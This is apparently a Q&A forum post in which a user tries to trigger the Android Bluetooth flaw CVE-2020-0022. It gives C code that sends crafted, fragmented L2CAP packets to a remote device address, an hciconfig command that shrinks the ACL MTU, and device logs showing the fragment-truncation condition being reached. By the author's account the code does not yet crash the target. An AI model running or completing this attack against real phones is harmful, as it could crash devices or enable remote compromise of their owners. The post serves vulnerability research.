5

To give some background on this question, try to test the CVE-2020-0022.

Not sure how to trigger it in the end.

Wrote this code that sends fragmented ACL L2CAP Data packets, so maybe somebody finds it useful.

Before you should change the ACL MTU to desired i.e

hciconfig hci0 aclmtu 50:10

Below also try to change connection MTU, but I am not sure it work and if this is needed. Response from is not fragmented, was thinking aforementioned will achieve that.

You can see it on the screenshot:

enter image description here

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
#include <bluetooth/l2cap.h>

// Functions
void usage(void);

// MAIN PART
int main(int argc, char *argv[])
{

    l2cap_cmd_hdr *cmd;
    struct sockaddr_l2 laddr, raddr;
    struct hci_dev_info di;
    char *buf, *remote_address = NULL;
    char payload1[] = "\x00\x40\x00\x04\x01\x04\x01\x01";
    char payload[] = "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" \
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" \
"\x61\x62\x63\x64\x65\x66\x67\x68\x41\x42\x43\x44\x45\x46\x47\x48" \
"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58" \
"\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68" \
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" \
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" \
"\x61\x62\x63\x64\x65\x66\x67\x68\x41\x42\x43\x44\x45\x46\x47\x48" \
"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58" \
"\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68" \
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" \
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" \
"\x61\x62\x63\x64\x65\x66\x67\x68\x41\x42\x43\x44\x45\x46\x47\x48" \
"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58" \
"\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68" \
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" \
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" \
"\x61\x62\x63\x64\x65\x66\x67\x68\x41\x42\x43\x44\x45\x46\x47\x48" \
"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56";


    int sock, c, i;
    int l2_code;
    int l2_ident;
    int l2_hsize;

    while ((c = getopt (argc, argv, "a:")) != -1)
    {
        switch (c)
        {
            case 'a':
                remote_address = optarg;
                break;

            default:
                usage();
                break;
        }
    }

    if(remote_address == NULL)
    {
        printf(">>> I need at least a remote btaddr...\n\n");
        usage();
        exit(EXIT_FAILURE);
    }


    // Get local device info
    if(hci_devinfo(0, &di) < 0)
    {
        perror("HCI device info failed");
        exit(EXIT_FAILURE);
    }

    printf("Local device %s\n", batostr(&di.bdaddr));
    printf("Remote device %s\n", remote_address);

    /* Construct local addr */
    laddr.l2_family = AF_BLUETOOTH;
    laddr.l2_bdaddr = di.bdaddr;
    laddr.l2_psm = htobs(0x1001);
    laddr.l2_cid = htobs(0x0040);

    /* Construct remote addr */
    memset(&raddr, 0, sizeof(raddr));        
    raddr.l2_family = AF_BLUETOOTH;
    str2ba(remote_address, &raddr.l2_bdaddr);

    /* Create a Bluetooth raw socket */ 
    if ((sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0) {
        perror("socket");
        exit(EXIT_FAILURE);
    }

    /* ...and bind it to the local device */
    bind(sock, (struct sockaddr *) &laddr, sizeof(laddr));
    /* Let's try to connect */
    if (connect(sock, (struct sockaddr *) &raddr, sizeof(raddr)) < 0) {
        perror("connect");
        exit(EXIT_FAILURE);
    }


    /* Init packet buffer */
    if( ! (buf = (char *) malloc (L2CAP_CMD_HDR_SIZE )) ) {
        perror("malloc");
        exit(EXIT_FAILURE);
    }


    /* Set L2CAP header properties */
    cmd = (l2cap_cmd_hdr *) buf;
    cmd->code =  0x04;
    cmd->ident = 0x08;
    cmd->len = htobs(8);

    /* Copy payload after l2cap header */
    memcpy((buf + L2CAP_CMD_HDR_SIZE), payload1, 8);

    /* Throw the packet into the air */

    if(send(sock, buf, L2CAP_CMD_HDR_SIZE + 8, 0) <= 0)
    {
        perror("send");
    }



    printf("L2CAP packet2 was sent\n");
    sleep(1);

    /* Set L2CAP header properties */
    cmd = (l2cap_cmd_hdr *) buf;
    cmd->code =  L2CAP_ECHO_REQ;
    cmd->ident = 0x01;
    cmd->len = htobs(300);

    /* Copy payload after l2cap header */
    memcpy((buf + L2CAP_CMD_HDR_SIZE), payload, 302);

    /* Throw the packet into the air */

    if(send(sock, buf, L2CAP_CMD_HDR_SIZE + 302, 0) <= 0)
    {
        perror("send");
    }



    printf("L2CAP packet was sent\n");
    sleep(1);

    /* Disconnect */
    close(sock);

    return EXIT_SUCCESS;
}

// Print usage
void usage(void)
{
    printf("blueborne -a <bdaddr>\n");
    exit(EXIT_SUCCESS);
}

However, cannot trigger the bug.

Logs from the Mobile Bluetooth:

   02-12 00:01:39.089   773  1155 W bt_hci_packet_fragmenter: reassemble_and_dispatch reassemble_and_dispatch
    02-12 00:01:39.360   773  1155 W bt_hci_packet_fragmenter: reassemble_and_dispatch reassemble_and_dispatch
    02-12 00:01:39.362   773  1049 W bt_hci_packet_fragmenter: fragment_and_dispatch fragment_and_dispatch
    02-12 00:01:40.089   773  1155 W bt_hci_packet_fragmenter: reassemble_and_dispatch reassemble_and_dispatch
    02-12 00:01:40.092   773  1155 W bt_hci_packet_fragmenter: reassemble_and_dispatch reassemble_and_dispatch
    02-12 00:01:40.092   773  1155 W bt_hci_packet_fragmenter: reassemble_and_dispatch partial_packet->offset 54 packet->len 264 HCI_ACL_PREAMBLE_SIZE 4  
    02-12 00:01:40.092   773  1155 W bt_hci_packet_fragmenter: reassemble_and_dispatch projected_offset 314 partial_packet->len 314  
    02-12 00:01:40.092   773  1155 W bt_hci_packet_fragmenter: reassemble_and_dispatch memcpy packet->len 264 packet->offset 4 expr 260

To trigger it somehow the

projected_offset > partial_packet->len 

As you can see, above it is not.

Thought, some tricky fragmenting would cause it ....

I am closing this question on my end.

Update 1:

Reopening ...

OK, I think I got it the condition

Below is Mobile (Android) Bluetooth subsystem log:

02-12 22:33:26.928  2416  2461 W bt_hci_packet_fragmenter:
reassemble_and_dispatch reassemble_and_dispatch
02-12 22:33:26.928  2416  2461 W bt_hci_packet_fragmenter:
reassemble_and_dispatch partial_packet->offset 21 packet->len 683
HCI_ACL_PREAMBLE_SIZE 4
02-12 22:33:26.928  2416  2461 W bt_hci_packet_fragmenter:
reassemble_and_dispatch projected_offset 700 partial_packet->len 209
02-12 22:33:26.928  2416  2461 W bt_hci_packet_fragmenter:
reassemble_and_dispatch got packet which would exceed expected length
of 209. Truncating.
02-12 22:33:26.928  2416  2461 W bt_hci_packet_fragmenter:
reassemble_and_dispatch memcpy packet->len 188 packet->offset 4 expr
184
02-12 22:33:26.929  2416  2460 W bt_hci_packet_fragmenter:
fragment_and_dispatch fragment_and_dispatch

Still working on crashing the process

Still waiting for an official Writeup and PoC from Authors .... in the mean time will publish if I figure it out further here:

https://github.com/marcinguy/CVE-2020-0022/blob/master/README.md

dev
  • 1,119
  • 1
  • 11
  • 34
  • Really interesting stuff - thanks for sharing! I was playing around with the code and my phone and I could not crash the process either for what it's worth (Motorola phone on Android 8). It's probably worth noting I also couldn't get it to do anything at all until I paired the devices; without pairing it would just refuse the connection (even if the device is visible and the MAC address is correct) which I thought the exploit does not require. – Petro Podrezo Feb 14 '20 at 03:55
  • @Petro Podrezo The above snippet does not trigger the right condition. You don't need to pair to exploit this bug. I cannot share any code now. – dev Feb 14 '20 at 07:23

0 Answers0